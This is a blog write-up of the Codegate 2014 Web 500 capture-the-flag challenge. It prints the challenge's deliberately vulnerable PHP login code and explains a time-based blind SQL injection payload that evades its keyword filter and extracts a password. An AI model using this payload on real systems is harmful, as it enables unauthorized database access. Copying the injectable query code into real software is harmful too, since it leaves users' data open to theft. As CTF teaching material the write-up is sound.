Tuesday, February 25, 2014

Codegate 2014 Web 500 Writeup

□ description
==========================================
http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/


http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.phps

==========================================



Let's review the source code:
< ?php
session_start
();$link = @mysql_connect('localhost''''');
@
mysql_select_db(''$link);

function 
RandomString()
{
  
$filename "smash.txt";
  
$f fopen($filename"r");
  
$len filesize($filename);
  
$contents fread($f$len);
  
$randstring '';
  while( 
strlen($randstring)<30 ){
    
$t $contents[rand(0$len-1)];
    if(
ctype_lower($t)){
    
$randstring .= $t;
    }
  }
  return 
$randstring;
}
$max_times 120;

if (
$_SESSION['cnt'] > $max_times){
  unset(
$_SESSION['cnt']);
}

if ( !isset(
$_SESSION['cnt'])){
  
$_SESSION['cnt']=0;
  
$_SESSION['password']=RandomString();

  
$query "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @
mysql_query($query);

  
$query "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @
mysql_query($query);
}
$left_count $max_times-$_SESSION['cnt'];$_SESSION['cnt']++;

if ( 
$_POST['password'] ){

  if (
eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @
mysql_close($link);
    exit(
"Wrong access");
  }

  
$query "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  
$q = @mysql_query($query);
  
$res = @mysql_fetch_array($q);
  if(
$res['ip']==$_SERVER['REMOTE_ADDR']){
    @
mysql_close($link);
    exit(
"True");
  }
  else{
    @
mysql_close($link);
    exit(
"False");
  }
}

@
mysql_close($link);? >
< head >
< link rel="stylesheet" type="text/css" href="black.css">
< / head >

< form method=post action=index.php >
  < h1> < ?= $left_count ?> times left < /h1>
  < div class="inset">
  < p>
    < label for="password">PASSWORD< /label>
    < input type="password" name="password" id="password" >
  < /p>
  < /div>
  < p class="p-container">
    < span onclick=location.href="auth.php"> Auth < /span>
    < input type="submit" value="Check">
  < /p>
< /form>
by observing the source code, there are few points to indicate here:
1- this challenge will read file smash.txt and get randomly 30 lower case characters as password
2- 120 requests to challenge is allowed per 1 password. After that, it will reset and get new password
3 - Each IP is recored with random password
4 - $_POST['password'] is not filter correctly
5 - Result will be True or False only

Hence, to solve this challenge, blind sqli is needed. In this case, I use bin2pos method (https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf

According to this method and our situation (only lowercase char), there would be maximum 4 tries per character. Password of this challenge is 30 characters so we have 4*30 = 120 tries, just enough for guessing the password.
In addition, to reduce the number of requests, I take a look at smash.txt, and get a word frequency and sort it with the code:
def CharacterCount():

    from string import ascii_lowercase     # ascii_lowercase =='abcdefghijklmnopqrstuvwxyz'
    with open('smash.txt') as f:
        text=f.read().strip()
        dic={}
        for x in ascii_lowercase:
        dic[x]=text.count(x)
    return dic

import operator
x = CharacterCount()#count character
sorted_x = sorted(x.iteritems(), key=operator.itemgetter(1), reverse=True)#sort it
and a result is
[('e', 2900), ('t', 2085), ('o', 1657), ('s', 1625), ('a', 1585), ('i', 1456), ('n', 1408), ('r', 1380), ('l', 1080), ('c', 878), ('h', 860), ('d', 856), ('x', 780), ('f', 779), ('m', 647), ('u', 622), ('b', 591), ('p', 575), ('g', 409), ('w', 381), ('y', 349), ('v', 305), ('k', 178), ('j', 26), ('z', 26), ('q', 10)]

That result show us a possibility of character appearance which help us in reducing the number of requests to server.

Since server response only True or False, I need another state to indicate results based on bin2pos method (that is 1, 0 or end of binary string). After few try, I decide to use Sleep function to indicate "end of binary string" state. Plus, because server wil check "-" character in POST, we can not use that minus character in our payload.
here is my payload:

payload = "' or 1337 = IF((@a :=mid(BIN(POSITION(mid(password," + str(k) + ",1) IN '" + prioritytable + "'))," + str(i) + ",1))!=space(0),@e := @a,@e := SLEEP(3)) or IF(@e =1,@e, 0) or '"
where
  • k is a position of character in password
  • prioritytable is our prioriy table based on  the possibility of character in smash.txt. It is etosainrlchdxfmubpgwyvkjzq
  • i is a position of binary string resulted from converting position to binary. As mention above, We just need to let i run from 2 to 5 (this first position is always 1). If the response from server take more than 2 seconds, it will terminate checking of this character and start another one.
 Then I get the password and submit to auth.php to get the flag
Congrats! the key is DontHeartMeBaby*$#@!


1 comment: